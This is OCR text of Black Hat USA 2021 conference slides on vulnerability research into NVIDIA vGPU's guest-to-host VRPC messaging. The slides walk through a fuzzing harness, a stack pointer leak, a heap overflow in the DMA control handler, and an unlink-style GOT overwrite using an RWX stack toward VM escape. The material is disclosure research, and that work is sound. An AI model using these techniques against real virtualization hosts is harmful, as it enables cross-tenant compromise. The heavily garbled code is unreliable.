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® Wenxiang Qian (@leonwxqian)

W Senior security researcher of Tencent Blade Team

B Doing security research in many fields including virtualization, web browser, 10T
W Interested in and studying fuzzer developing and machine learning

B Book author
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B Focus on security research in the fields of AloT, mobile devices, cloud virtualization,

B Founded by Tencent Security Platform Department in 2017

blockchain, etc
B Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon

W https://blade.tencent.com

LoRaWAN
?SQLite S 1F TensorFlow

(4 Li(Dee

® chrome

#BHUSA @BlackHatEvents
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® |Introduce GPU virtualization and vGPU

® Structures of the vGPU software suite

® \VRPC message and how to send a message manually

® Findings in VRPC handling process

® Conclusion

#BHUSA @BlackHatEvents
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® Allow users to share a GPU card in their own VMs

® Deliver high-performance graphics and computing power
to virtual desktops at a much cheaper cost of operation

® Used in Al, deep learning, data science, and even cloud gaming ...

Hardware support for mediated pass-through virtualization

Dedicated graphics card families

Vendor Technology Integrated GPU families
Server Professional Consumer

Nvidia | vGPUM3! GRID, Tesla Quadro No —

AMD MxGPUM 48] | FirePro Server, Radeon Instinct | Radeon Pro No MNo

Intel GVT-g — — —
https://en.wikipedia.org/wiki/GPU virtualization

Broadwell and newer

#BHUSA @BlackHatEvents
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® Used in a cloud or enterprise data center server
® Virtual GPUs to be shared across multiple virtual machines

® Used by many famous cloud service providers (https://docs.nvidia.com/grid/cloud-service-
support.html)

® Restricted to certain datacenter and high-end Tesla, Quadro cards

<A NVIDIA.

HOME A NETWORKING DRIVING GAMING PRO GRAPHICS AUTONOMOUS MACHINES HE

NVIDIA Virtual Compute Server with
NGC Containers Brings GPU
Virtualization to Al, Deep Learning
and Data Science

#BHUSA @BlackHatEvents
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=5
® The installers are obtained from NVIDIA Enterprise Application HUD | [ RuiBiA @t 64-418.185.01vama-lommrim

| | NVIDIA-Linux-x86 64-418.165.01-grid.run

[ TWO |nsta”ers for‘ the host and the guest | |426.94 grid win10 server2016 server2019 64bit international.exe
| |426.94 grid win7 win8 server2008R2 server2012R2 64bit international.exe
® NVIDIA-Linux-x86_64-*-vgpu-kvm.run (Host) 5} 418.165.01-426.84-whats-new-vgpu.pdf
[ 418.165.01-426.94-grid-vgpu-user-guide.pdf
Y NVlDlA'LinUX'X86_64'*'grid.run (Guest) @ 418.165.01-426.94-grid-vgpu-release-notes-generic-linux-kvm. pdf

[ 418.165.01-426.94-grid-software-quick-start-guide.pdf
[ 418.165.01-426.94-grid-licensing-user-guide.pdf

. .- ) .
The nvidia.ko(both guest/host) has some open-sourced files B 418.165.01426.94orid-amumedeomiich-ueer guidepdi

® (ritical code logic are closed-source = *.0_binary

MVIDIA-Linux-x86 64-430.46-grid » NVIDIA-Linux-x86 64-430 » kernel v D S EE"kernel”
® Other components are closed-source \k
. nVi d ia -Vgp u-mgr commaon nvidia nvidia-drm nvidia-modeset nvidia-uvm conftest.sh dkms.conf Kbuild
® |ibnvidia-vgpu.so.* > The “vGPU plugin”
Makefile
\_-I nv-modeset-kernel.o_binary ERIEER: 2019/8/15 5:54
CAMNVIDIA-GRID-Linux-KVM-430.46-431.70NVL.. =20 O _BINARY =0 2 1.36 MB
nv-kernel.o_binary ERIEER: 2019/8/15 5:42

[

D:ANVIDIA-GRID-Linux-KVM-430.46-431.70NVIL... == O_BINARY {4 v 24,5 MB
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<hostdev mode="subsystem' type="mdev' managed="no' model='vfio-pci' display="off'>
<source>
<address uuid='31debfd3-1fc3-48bd-a281-8bfacceceeb?’ />
® Running as a daemon </source>
<address type="pci' domain="©x8000' bus="'@x3b' slot="@xe1"' function="exe'/>
</hostdev>

® Spawns itself when a guest machine is started*

® Not spawned if the guest is using PCl-passthrough mode or not using vGPU

® Spawns only if using it as type=‘mdeVv’ (mediated device pass-through)

. 1l %k retry = 0;

¢ Loads ||an|d|a'Vng.SO. vmiop log(2LL, "vmiop env log: nvidia-vgpu-mgr daemon started\n");
while ( !byte 61FBO08 )

¢ Communicates Wlth the driver on hOSt { error = fork child process(v3e, v37, v38, (const char **)v3);

if ( error )
® The libnvidia-vgpu.so.* is responsible with ' if ( (unsigned int)+iretry > 9 )
communicating with the guest , e

}

® Process the guest call, a mechanism called ‘VRPC’
® Sent from the guest nvida.ko

® Processed by libnvidia-vgpu.so

#BHUSA @BlackHatEvents
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® The vGPU plugin

® Receive and process the vGPU request

if ( !'(unsigned int)fetch vrpc message from ringbuffer(al, (  inte4) (21 + 508)) && 21[517] )

{
v19 = *(( QWORD *)al + 256);

® Rece Ive d ata fro m VI rt I O rl ng b Uffe r if| \( (mjj(lmi{#;get{,_l;;;iigiéﬁiiiéa(f E?_(:(TE;CEH;AJ+ ;5315)5) )1= 1129337430

|| (unsigned  inté4) (unsigned int)get real packet size(* (( DWORD **)al + 255)) > *(( QWORD *)al + 256) )

{
if ( (unsigned int)get vgpu signature (* (( DWORD **)zal + 255)) != 1129337430 && loglevel[0] )

® VRPC message size is limited to 4096 bytes . i D iy o meeen

nv003008vgpu(* (( DWORD **)al + 255), -15728638);

. }
When fetch ing else if ( 21[1264]
&& !(*(unsigned int ( fastcall **) ( QWORD, unsigned int *)) (*(( QWORD *)al + 24) + 5432LL)) (

*(( QWORD *)al + 24),
al) )

® Reuse same global variable of 4096 bytes to | wmme i -,
Sto re VRPC message i rpc_message handler(al, *((vold **)al + 255));

® Check ifitis legit

® Calls rpc_message handler

#BHUSA @BlackHatEvents
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Simplified Model

Qemu libnvidia-vgpu.so

nvidia.ko nvidia-vgpu- . chardev._ nvidia-vgpu-
(guest) vfio vgpu vfio mar

loctl

Guest system ifi
notifies /dev/nvidiactl

nvidia.ko
RW mapped memory S(host) Operates

/dev/nvidia0O

#BHUSA @BlackHatEvents
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head[0] 0-3 0x3000000
4-7 (0x4) ‘CPRV’ sighature (VRPC)
8-11 (0Ox8) Packet size
12-15 (0xC) VRPC command No.
16-19 (0x10) -1
20-23 (0x14) -1
24-27 (0x18) Reserved
28-31 (0x1C) Reserved
body[O] 32-35 (0x20)

body[1] 36-39 (0x24)

latEvents



0

blackhat

LUSA 2021

® 1. Copy the VRPC message from ring buffer to local global buffer (4096 bytes max)

® 2. Extra check if VRPC message is legit
® Check if (32 bytes < Size < 4096 bytes)
® Check if signature == ‘CPRV’

® Check if message can be parsed in current system/architecture

® 3. Call handlers to process the message
® 4. Check if any error occurs during the processing
® |f so, generates error message

® 5. Return the result to the guest machine

#BHUSA @BlackHatEvents
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® There’s an interesting step before the message handler ends — Error Processing

® |t will create error information if the handler didn’t return O (success)

3[LABET. 34:
if ( loglewvel[OD] )
vmiop log(1lLL, "vmiop log: (0x%x): VGPU message %d failed,

1 He

vmiop unlock(opagque[548]1);
error handler|(( inté4)opague, ( inted)v2, 2u);
vmiop lock(opaque[548], OLL);

OO0AFASE Irpc_message_handler : S?SI (AFAEE)
1

cmd no = get vgpu message (22);
result = nv0023e8vgpu(*(( QWORD *)al + 30));
if ( ( DWORD)result )
{
switch ( cmd no ) |
{
case lu:
result = ve[48]1();
ret = ( QWORD *)result;
goto LABEL 23;
case 2u:
result = ve[55] () ;
ret = ( QWORD *)result;

ot TADET 73 .

How VRPC is handled

(=]

1. Copy the VRPC message from ring buffer to local global buffer (maximum 4096 bytes)

(-]

2. Extra check if VRPC message is legit
= Check if (32 bytes < Size < 4096 bytes)
= Check if signature == 'CPRV"

= Check if message can be parsed in current system/architecture

@

3. Call handlers to process the message

@

4. Check if any error occurs during the processing

= If so, generates error message

“ This step

=]

5. Return the result to the guest machine

#BHUSA @BlackHatEvents



—lunsigned long loneg datalT[3] e
(long long) “rpc_alloc_event”, case Oxliu: . _ L
n 0x1C00000000 | result = (long long)kdatal7;//v6[22] ()
(long long)msg0x17 vl8 = (_QWORD *)result;
goto LABEL 23:
case 0xl3u:
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—unsigned long long msg0x18[]

TYPE v18 = (_QWORD #)result;
goto LABEL 23:
case 0xlau:

SECTION OFFSE
(long long)“hClient”,
(long long) "hObject”,

oo g
[
oo o
=
Grl—'

(long long) "notifyIndex”, .0, 0, , result = (long long)&datala;//v6[3
. . 0 . 0, 0, 0, 0, v18 = (_QWORD #)result:
® The inputis the VRPC message o soto LABEL 23,
—lunsigned long long datal8l3] = { case 0xl1Bu:
(Tome Tome) "rne cand avant” result = (long long)&datalb://v6[61] ()

® We extracted all structures of VRPC messages

® These structures will be used in the error message processor
int Dpeaque:SD; ={0::

® The rest code logic are copied as-is int rpe packet[1024] = { 0 };

—lint LLVMFuzzerTestOneIlnput (const wintd t #* data, size t size)

® The fuzzing engine will fill the fake RPC packet opeaque[0] = 0; //gpu id.

int min_len = 0x801;

® Found one crash, but it is fixed in the newer version 't (sinz < min lom

return 0;
Thread 4 "nvidia-wvgpu-mgr" received signal SIGSEGVY, Segmentation fault. .
¢ £726 f in ?? () from /lib64/libnvidia-vgpu.so Jjnz loc_1@4AD2
dta-vanu.so | TDV ESX: [r14] | L rpc_packet [0] = 0x3000000:
in 272 () from /lib64/libnvidia-vgpu.so ea rdx, a8xX i Oxax rpc_packet[1] = *VRPC
8b in ?? () from /lib64/libnvidia-vgpu.so mowv esi, rl5d -z ! - .- ) .
rpc_packet[2] = 0x800 + 32; to satisiy the code
memcpyi&rpec_packet|8], data, 0x800)

. int type = datal[0x800] & 1;
® The structures described VRPC message one-to-one nt result = nv005159vepu
ﬁunsigned‘i:t +) opeaque,
® Helps understanding each message (_DVORD *)rpc_packet, _ o
(void(_ fastcall *)(_QWORD, QWORD, const char#*))sub 91C20,
(__int64) sub_92990,

® We'll upload to our GitHub repo later 7pe)

return 0;

1, ) result = (long long)&datal8;//v6[44] ()

Lol
i 1
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Important VRPC Messages

Ox1l rpc_set guest _system_info

vgxVersionMajorNum
vgxVersionMinorNum
guestDriverVersionBufferLength
guestVersionBufferLength

guestTitleBufferLength

guestCINum
guestDriverVersion
guestVersion
guestTitle

Ox2 rpc_alloc_root

hClient
processID
processName

Ox1A rpc_dma_control

params
dma_params

0x20 rpc_alloc_share device

hClient

hDevice
hClass
params

0x35 rpc_update pde 2

hClient
hwres hDevice
pdeBuffer
params

O0x3C rpc_get_engine_utilization

hClient

hObject
cmd

Params

(We listed part of VRPC messages in this slide, check our repo to get the full list)

#BHUSA @BlackHatEvents
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® | ocate this string to find the handler (We’'ll call it rpc_message handler)

9 ”""_i:p:_;%: = get vrpc max len(( 1intéed)func table);
O 1f (m :t:_;%: < (unsigned 11#}header size 32(rpc buffer
1 | | (Hl 1gned int)get vgpu signature (rpc buffer = '"CPRV'
2 | | (?i;i%f size = (unsigned int)get real_packet size (rpc_buffer),
(unsigned int)packet size > (unsigned int)get vrpc max len(( 1intéd)func table)) )

{
if ( (unsigned int)get vgpu signature (rpc buffer) != 'CPRV' && loglevel[0] )
{
err = 0OXFF100002;
vmlop ng{lLL "vmiop log: (0x%x): vGPU RPC message signature mismatch.", *opaque):
L msg = 0;

S I T T R AT

Lo O

}

else

Lo =

err OxFF100002;
vapu msg = 0;

T2 TR 2 T 0 2 T 2 T 2 T 2 2 T O A O O O Y =~

I T I =
[—

#BHUSA @BlackHatEvents
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if ( (unsigned int)is not empty(( inteéd)func table) )

® rpc_message_handler — call different U tten (v o
functions according to " case 1us

. err = func table[48] (opaque, rpc buffer, &retvalue):// nv002102vgpu
“VRPC_msg_no (head[3])” section breaks .
] . err =.i:::_far;%[55](:;agje, rpc buffer, &retvalue):;// nv001873vgpu

® The easiest way to get the function cane g
R . . err = func table[7] (opaque, rpc buffer, &retvalue):;// nv001857vgpu
list is to set a breakpoint here: prea; N
- err =:i::: table[35] (opagque, rpc buffer, &retvalue);// nv001851vgpu
® Grab the func_table and calculate their symbols  _.2Z%
err = func table[23] (opaque, rpc buffer, &retvalue);// nv001849vgpu

break;

case Tu:
err = func table[54] (opaque, rpc buffer, &retvalue);// nv002070vgpu
break;
Cazfzgi:j::: table[34] (opague, rpc buffer, &retvalue);// nv001875vgpu

break;

case OxAu:
?:: = func table[30] (opaque, rpc buffer, &retvalue);// nv001936evgpu

#BHUSA @BlackHatEvents
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® To avoid complexity, we choose to patch the guest driver nvidia.ko

® We already knOW there’s 3 (CPRV; Signature .}:ig:lz_-:j __inted4  fastcall prepare vrpc msg( inté4 al, int a2, int a3)
int v3; erl2
signed _iint64 result; // rax

® Search for the same signature in the guest driver
a1 )
® Found thlS pr‘eparing the VRPC message, nv[]32?8?rm(*(_'; WORD *) (al + 608), OLL, *(unsigned int *) (al + 632))

** ( DWORD **) (al + 608} = 0x3000000;
* (_ DWORD J~}(’f( NCRJ *y (=21 + €08) + 4LL) = 'CPEV';

— |l
[ L
-

if
{

* (_DWORD *) (* (_QWORD *) (al + 608) + 16LL) = OxFFFFFFFF;
*( DWORD *) (*( QWORD *) (a1l + €08) + 20LL) = OXFFFFFFFF;
*( DWOED *) (*( QWORD *) (21 + &08) + Z8LL) = 0;
. *( DWORD *) (*( QWORD *) (21 + e08) + 12LL) = =22;
® |t fills the VRPC message header ConoRD ) (COMORD ) G + 608) + BL1) = 3 + 32
}
® a2 : RPC message command number Thee
nv029301rm(48) ;
. . nv029301rm(48) ;
® a3:required size (add 32 bytes for msg head later)  =vozesrom@asrsnizon, 1ssse2seonn);
}
return result;

#BHUSA @BlackHatEvents
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Using the Xref, we can find this pattern:

Function that sends VRPC msg is located

According to the prepare_vrpc_msg,

(a2+608) is where it stores the message

body[0] = (a2+608) + 32
body[1] = (a2+608) + 36

all

;:h;*;_= prepare vrpc msg(a2, 11, 8);
if ( !( DWORD)result )

{
v7] = nv032792rm(v4, 11LL):;
if ( *( DWORD *) (a2 + 632) + 8 < v7 )
{
nv029301rm(48); : :
result = 2LL: always comes in pair
}
else
{
* (_DWORD *) (* (_QWORD *) (a2 + 608) + 32LL)
*(_ DWORD *) (*( QWORD *) (a2 + 608) + 36LL)
nv030577rm(*( QWORD *) (a2 + 608) + 40LL, v{¥:
result =|send _vrpc_msg(al, ( QWORD *)aZz);
}
}
return result;

#BHUSA @BlackHatEvents
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® The send_vrpc_msg sends and waits for the host to return
® You can read the return value here too

® Here’s an example of reading the return value:

send vrpc msg(za2, ( QWORD *)a3);

it ([tv4])
{
v6 = OLL;
if ( *( BYTE *) (22 + 4564) )
ve = nv000617rm[* (unsigned int *) (a2 + 4244)] + 904; Where to patch:
V] = *( QWORD *) (23 + 608) ;]
V8 = * (_QWORD **) (a2 + 9904);
* (_DWORD *) (v3 + 24) = * (_ DWORD *) (v7 + 32); nv000777rm(...)

*( DWOED *) (v3 + 28)
vS = vE[51];

= ch_lnjirect_thunk_rax{TE};
if (vd )
{

* (_DWORD *) (v7 + 36);

N8 3ANTrm (ARY =
#BHUSA @BlackHatEvents
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1960 int
1961 nvidia 1octl(
1962 =ztruct i1node =®:inode.,
] . 1963 struct fi;E #fjle,
The entry of ioctl is open sourced 5 unsigned int cnd.
1965 un=igned long 1_arg)
1966 {

: . P 1967 HY STATUS Status;
Filename: kernel/nvidia/nv.c Toce T mratos o Hs
rm_ioctl is closed-source, provided by *.0 binary Joag  goivem (emend)

— - gg:; l;::ase NY_ESC_QUERY DEVICE INTR:
2049 nv_ioct]l _guerv_device_intr ®query_intr = arg_copy;

Almost all the ioctl sent from the handler in vgpu-mgr 20

IS rm_ioctl

rm stands for “Resource Manager” 33ii
2316
2317
2318

NYV_ACTUAT DEVICE OHLY({nw}:

2052
2053 if (Inv—>»regs—3imnap)
2054 {
2055 status = —EINVAL:
default:
rmsStatus = rm_loctl{sp. nv, nvip. arg cmd. arg copy., arg_=lze):;
statu=z = {({(rmStatus == HV_OK) 7?7 : —EIHVAL);
break:

#BHUSA @BlackHatEvents
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® Message 0x35 as an example (We'll describe it later)
® |t will send a struct of 64 bytes to the driver

® |ts command is 0x80180F, you can disassemble it easily using IOC_SIZE/IOC_NR

—lint main() { o :-:-}-_ s
21 = body [5];
5 u:s%gneg 1“t cmd =.DXSDJS?£?LLI__[- o 2 = bhc j':_'-._.-_ [147;
626 unsigned int arg_size = _I0C_SIZE(cmd); . = * " OWORD *)body ;
7 unsigned int argz_cmd = _I0C_NR{cmd) ; o ( I;_;:l.ﬂ‘C:E-_' e - o
v16 = NvRmControl (#(unsigned int #) (handle_data + 24), = body_ [181;
659 _ 22 = *({_QWORD *)body_ + 3);
660 * rmStatus = rm_ioctl(sp, nv, nvfp, arg_cmd, arg _copy, ar 7 = body (8] o
© 661 return 0] 24 be -::_[9] ,
RR? 1 24 = DC ___ ;
118% - 25 = *((_QWORD *)body_ + 5);
mEsE 26 = body 1217
. & 27 = body [13]1;

: ::3:;;”: xggggggg’; bodyy = get body field(a2); CMD DATA SIZE
@ cmd 0x0020120f v1€ = NvRmControl (* (unsigned int *) (handle data + 24), (unsigned int)bodyy[1l], O0x80180FLL, (unsigned int *)&v20, 64);

#BHUSA @BlackHatEvents
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® Yes, partially

® The loaded .so and heap/stack’s load address is randomized

* The nvidia-vgpu-mgr is not randomized
® Main process acts like a server, child process is spawned by fork()ing
® nvidia-vgpu-mgr is multi-threaded
® Child process is single-thread-like if guest is in text mode
® Memory layout is almost the same when the child is spawned every time
® nvidia-vgpu-mgr disabled ASLR on itself

® To adapt to some old nvidia.ko logics? (which can be spotted in nvidia.ko)

[wenxiang@localhost checksec.sh]$ ./checksec --file=/usr/bin/nvidia-vgpu-mgr
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
2] 14 Jusr/bin/nvidia-vg

[wenxiang@localhost checksec.sh]$ [




blgc’:k hat

LUSA 2021

® After marked ~70% of critical functions of message handler

® |DA = Produce .cfile

® Find code pattern in the produced .c file:
® |t's writing something into VRPC buffer
® The written data has one of following type:
® QWORD QWORD* void*
® The written address will still be left in the return values

® 3 was found, and one of them is...

1f ( *((_QWORD *) y + 8) )
* ((_QWORD *) + 8) = &v32;
S0 = by [4]; |
21 = [5]: | _1nted v32; //
= vy [14];
= *(( QWORD *)body + 8);

#BHUSA @BlackHatEvents
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® Message 0x35 —rpc_update pde 2 will leak a stack pointer

® Only if it survives the NvVRmControl (send an ioctl)

® 64-byte structure, we used a gdb script to fuzz it

_HEE_Tf;((_QWGR: *)body + 8) )
*(( QWORD *)body + 8) = &v32;

2.0 body [4]1; — — . —

body [5]7 L_l]to4 v32; // [rsp+48h] [rbp-50h]

28 = body_[14];
2 *(( QWORD *)body + 8);

body [18]; o
*((_QWORD *)body + 3);
body [8]:

24 = body [91;

25 = *((_QWORD *)body + 5);
26 = body [12];

27 = body [13];

bodyy = get body field(aZ2);
v1e NvEmControl (* (unsigned int *) (handle data + 24), (unsigned int)bodyy[1l], 0x80180FLL, (unsigned 1nt *)&v20, 64);
if ( vle )

if ( leglevel[0] )
{
vmiop log(lLL, "vmiop log: NVOS status 0x%x", v1e€):
if ( loglewel[0] )
vmiop log(lLL, "vmiop log: Assertion Failed at 0x%x:%d", retaddr, 293LL);

1
read backtraces(): #BHUSA @BlackHatEvents

vée = 1;
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Mumber length:

® No need to fuzzing it blindly (brute forcing 64 bytes results in unrealistic 256%* tries = o )
155 decimal digits
® Many places are using hDevice and hClient
® We used Message 0x2 and 0x20 to create two fake hDevice & hClient handles
® You can set e.g., hDevice = 0x77777777, hClient = 0x5555 Wgéﬁﬁg A%, 0x1000)
. while ($x .1L. 0x1000)
® Two values are random placed in the 64 byte-structure set *(Sstart_addr)=i
get *(Sstart_addr+4)=j
set *(Sstart_addr+8)=k
*__Four-Three possibilities: set *($start_addr+12)=1
set *(Sstart_addr+1l6)=m
] . . t *(Sstart_addr+20)=
® [hDevice, hClient] is used ggt *[5§t2£t_zdd£+24]=2
et *(Sstart_addr+28)=p
. . get *(sstart_addr+32)=
° Only [hDevice] is used set *[Sstart_addr+35]=g
get *(sstart_addr+40)=s
o Only [hChent] is used get *(Sstart_addr+44)=t
get *(Sstart_addr+48)=u
. set *(Sstart_addr+52)=v
*__None-isused get *($start_addr+56)=w
set *(Sstart_addr+60)=x
. get Su=5x+1
¢ And we f|na”y passed the ChECk call (long long)_nv000532%vgpu(fhandle, {(unsigned long)0xE8E&

end
sat Sw=Sw+l
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® 0x1A - rpc_dma_control
® DMA on VRPC — that’s doubled happiness!
® The DMA handler is a big function, and it generally do these things:

1. Check if DMA operation command number is legal

Check if handles are legit

Call malloc(dma_control_get param_size(cmd)) to prepare a buffer for DMA operation
Call preparing function to copy data from VRPC buffer to the prepared buffer

Call NvRmControl to send data to nvidia.ko(host) to process data

Do some work after it succussed

N o AW

Call finish function to copy data back to VRPC buffer

I = get body field(vrpc buffer);
return nv001900vgpu (
(n1 1j1:g int *)al,

( inted4 ( fastcall *)( inte4, void *,  1inted))first half processor,
(_inte4 (_ fastcall *, signed  inté4,  inté4, unsigned int *))second half processor, #BHUSA @BlackHatEvents
( 111'54}( ody + 8))q
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® No restrictions on memory copy: 49%143 49*1+10

63 case 0xCe370101:

64 *( BYTE *)buf allocated *( BYTE *)body ptr 87

65 count = *( DWORD *) (body ptr 8 + 4); v1Z = *( DWORD *)L 1“1: r 8:
66 buf allocated[2] = c:u1+ // this : _ — I - -
67 if ( count ) *puf = *(_DWORD *]I ptr 8:

&8 { . oy
69 ppp = 03 lf { lfli }

" @ return OLL;

72 i = ppp++; V13 = [:I;
74 buf p = &buf[9 * i]; do

buf p body pl2]:; {
6 buf p bod ;

body pl4]; v1lid = $13++;

T buf pl[>a] 0C
7 buf p body p ; ) _ ) ) .- )
buf p[7] = body pl6]; puf[vld + 1] = pbodyd([vld + 1];

buf p

f;ﬁ} p[71:
51 buf p body pl8]17 }
02 | Puf P01 = body pL9); while ( v12 > v13 );
4 while ( buf[2] > ppp ); return OLL:
}

BE return 0OLL;

C6370101 C6370102 #BHUSA @BlackHatEvents
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What’s next to the overflown area?

An interesting heap chunk lays after the malloced buffer

® Some pointers inside this area

Set access breakpoint on them, after the VRPC returns,
t

32

-
R e B

[
= L

W]

F
[}

goto LABEL_l?:

e 1ist = v9[4];
( some list

while ( vma

{
if“k_Iigi%

}

v1lE5 = 0LL;

717 = OLL;

dword 61FAEC

716 = 0OLL;

LODWORD (vV15)
HIDWORD (v17)

~ -
i A AL
-
r

nis code triggered bp:

// this sentence hits "read breakpoint"™ of the over-written area

nvidia-vgpu-mgr (main binary),
sub_ 403860

(gdbh) =-1024=g $psi-32

0x7f0a50004b40: O0xZ166346136373178 Ox0000000000000000
0=7f0250004b50: 0=x0000000000000000 O=0000000000000185
0x7f0a50004b60: O0x0000000000000000 O=x0000000000000000
0x7f0a50004b70: 0x0000000000000000 Ox0000000000000000
0=7f0250004b80: 0=x0000000000000000 O=0000000000000000
0=7f0a50004b90: 0=0000000000000000 O=0000000000000000
0x7f0a50004bal: 0x0000000000000000 Ox0000000000000000
0x7f0a50004bb0: 0x0000000000000000 O=x0000000000000000
0=7f0a50004bc0: 0=0000000000000000 O=0000000000000000
0x7f0a50004bd0: O0x0000000000000000 O=x0000000000000000
0x7f0a50004be0: O0x0000000000000000 Ox0000000000000000
0=7f0250004bE£0: 0x0000000000000000 O=x0000000000000000
0=7f0a50004c00: 0=0000000000000000 O=0000000000000000
0x7£f0a50004c10: O0x0000000000000000 O=x0000000000000000
0x7f0a50004c20: 0x0000000000000000 O=x0000000000000000
0=7f0250004=30: 0=z0000000000000000 O=0000000000000000
0=7f0a50004c40: 0=z0000000000000000 O=0000000000000000
0x7f0a50004c50: 0x0000000000000000 Ox0000000000000000
0=7f0a50004c60: 0=0000000000000000 O=0000000000000000
0x7f0a50004c?0: Ox0000000000000000 O=x0000000000000000
0x7f0a50004c80: 0x0000000000000000 Ox0000000000000000
0=7f0250004290: 0x0000000000000000 O=x0000000000000000
0=7f0a50004cal: 0=z0000000000000000 O=0000000000000000
0x7£0a50004chl: O0x0000000000000000 O=0000000000000000
0x7f0a50004cc0: O0x0000000000000000 Ox0000000000000000
0=7f0250004cd0: 0=0000000000000000 O=00000000000001a1
0=7f0a50004ce0: 0=00007f£0a50000080 O0=00007f0a50000080
0x7f0a50004cf0: O0x0000000000000048 Ox0000000000000000
0x7f0a50004d00: 0x0000000000000000 O=x0000000000000000
0=7f0a250004d10: 0=z0000000000000000 O=0000000000000000
0x7f0a50004d20: O0x0000000000000000 O=x0000000000000000
0x7£f0a50004d30: 0x0000000000000000 Ox00000000000000443
0=7f0250004d40: 0=x0000000000000000 O=x0000000000000000
0=7f0a50004d50: 0=z0000000000000000 O=00000000000000O0
0x7f0a50004d60: 0x0000000000000000 Ox0000000000000000
0=7f0250004d70: 0=z0000000000000000 O=0000000000000000
0=7f0a50004d80: 0=0000000000000000 O=0000000000000000
0x7f0a50004d90: 0x0000000000000000 Ox0000000000000000
0x7f0a50004da0: 0x0000000000000000 O=x0000000000000000
0=7f0a50004db0: 0=z0000000000000000 O=0000000000000000
0x7f0a50004dc0: Ox0000000000000000 O=x0000000000000000
0x7f0a50004dd0: 0x0000000000000000 O=x0000000000000000
0=7f0a50004de0: 0x0000000000000000 O=x0000000000000000
0=7f0a50004df0: 0=z0000000000000000 O=0000000000000000
0x7£f0a50004200: O0x0000000000000000 O=x0000000000000000
0x7f0a50004=210: O0x0000000000000000 O=x0000000000000000
0=7f0a50004=20: 0=z0000000000000000 O=0000000000000000
0=7f0a50004=30: 0=z0000000000000000 O=0000000000000000
0x7f0a50004=40: 0x0000000000000000 Ox0000000000000000
0x7f0a50004=250: 0x0000000000000000 Ox0000000000000000
0x7f0a50004e60: Ox0000000000000000 O=x0000000000000000
Qeif0=sC0004=70- O=0O0000o0nnnnnlai  O=00000000000000854
0=7f0250004=280: 0x00007£02635944000 O=x0000000000001000
0=7f0a50004=90: 0=0000000000001000 O=0000000b1f770000
0x7f0a50004eal: 0x00000006d02£5£01 O=0000000000000001
0x7f0a50004eh0: O0x0000000000£2F100 Ox0000000000f2=340
U=dtiat0004ecl: O=z0000000O000000001  O=0000000000000=571
0=7f0a50004ed0: 0=00007f£0a50000600 O0=00007f0a50000600
0x7f0a50004e=0: O0x00007£0a50004=c0 Ox00007f£0a50004ecO
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® |terates over the VMA linked list, and find the one to free

® After it passes the ioctl 0xC020464F

M o M 7
® |t will call “set_item_value
: = vo[4]: if ( *(( DWORD *)some list + 16) == 2 )
1f | . ) v1l6é = vma addr;
[ else
while { | = % : ) vlie = some 1ist[3]; // You can't easily set v1é to other walue than 0.
. J/ But it can make w17 returns 87 (error)
: result = sub 404BE0O(2l, 0x4Fu, 0x20LL, 0xCO020464FLL, ( 1inted)&vl3, &vl7);// should go through this iloctl
' = ( QWORD *) [7]: N // to rea{:h_set_item_value
if (! ) if ( !( DWORD)result ) // when it succeed
goto LABEL 17; { ] , o N
| - result = (unsigned int)vl7;
if ( '( DWORD)v17 ) // v17 must be 0 to enter set item value
{
nVidia'Vng'mgr (main binary) set item value(v9 + 4, some 1list); // 0x403780 will be called with our fake "some 1ist™
! result = (unsigned int)vl7;
sub_ 403860 }

}

#BHUSA @BlackHatEvents
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® |et’s check the most important part of this function
® |t removes current node from the linked list
® Literally doing classical textbook: p->next->prev = p->prev; p->prev->next = p->next;

® Deja-vus on old malloc’s “unlink”?

def item 6 = *(( QWORD *)1list item + 6); // set list item + € to ".mmap.got - 56"

if T def item 6 T

*(_QWORD *) (def item € + 56) = *(( QWORD *)list item + 7);// .mmap.got is overwritten.

if ( list item == *1list start ptr )

L e . " R |

: _ _ _
*1ist start ptr = (void *)*(( QWORD *)list item + 7);
jadget addr = *(( QWORD *)1ist item + 7);

if _(_ 1 re 1;;_?._:;:25_-;:'; L addr )
goto LABEL 11;
goto LABEL 10;
}

jadget addr = *(( QWORD *)1list item + 7):

I - — — #¥DMNUSDA wolacknaicvents
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“p”(Node being unlinked) can be controlled (through buffer overflow)
All pointers in color are controllable p->next->prev = p->prev; p-> >next = p->next;

Calls mmap/munmap according to the value in p immediately after p is unlinked

if ( *(( DWORD *)1list item + 11) ) // set list item + 11 to "1"

mmap (mmap addr, *(( QWORD *)1ist item + 1), 0, 50, 0, OLL):;// set 1list item + 1 to "Non zero"
else

munmap (mmap addr, *(( QWORD *)1ist item + 1))
free(list item);

p->prev is not referred after p->prev->next

For example:
® p->prev =.mmap.got MINUS offset of “next”

® p->next = 1%t ROP gadget
® p->prev->next = p->next overwrites .mmap.got

But..

® p->next->prev = p->prev requires ROP gadget has RWX privilege

. . . #BHUSA
® RWXis rarely seen now, does it exist?

@BlackHatEvents
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® Don’t know why but its stack has RWX privilege

7£499h8c7000-7£499bee7000 rw-= 00000000 00:06 85175 Adev/nvidiact]
7£499hce7000-7£499bee8000 —--p 00000000 00:00 O
7£499hce8000-7£499:4¢8000 rwgp 00000000 00:00 O
7£499¢4c8000-7£499:4¢9000 —--p 00000000 00:00 O
7£499c4c9000-7£499ccc9000 Twgp 00000000 00:00 O
7£499cce9000-7£499ccealll ——-p 00000000 00:00 O
7£4959cccall0-7£499d4ca000 rwgp 00000000 00:00 O
7£499d4cal00-7£499d4ch000 —--p 00000000 00:00 O
7£499d4ch000-7£499dech000 rwgp 00000000 00:00 O

:

7£499dcch000-7f£499decc000 rw-s 00000000 00:06 85175 Adevo/nvidiactl

® The data on stack can also be treated as code
® Searched stack memory for ROP gadgets, but nothing (good) found

® Put the code manually

#BHUSA @BlackHatEvents
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® Some functions have declared very big structure on stack

® 0x3C-rpc_get engine_utilization is one of them

unsigned int v50; // [rsp+l4h] [rbp-F754]
unsigned int v51; // [rsp+18h] [rbp-F7501
unsigned int v52; // [rsp+l1Ch] [rbp-F74CI
char big structure([47200]; // [rsp+20h]
inted4 v54; // [rsp+B880h] [rbp-3EEEh]
unalgned int v55; // [rsp+B888h] [rbp-3El
11* veer [/ 2335—33321' ':t;—iz::hj
v57: // [rso+ bn-3EDAhT

® Variables are 47200+ bytes deep in stack

v55 = 0;

nvDDDBBngpu(( inted)al, &v54);

HIDWORD (v54) = nv00e3Z24vgpu;
EE — Vs

55 = body [61;

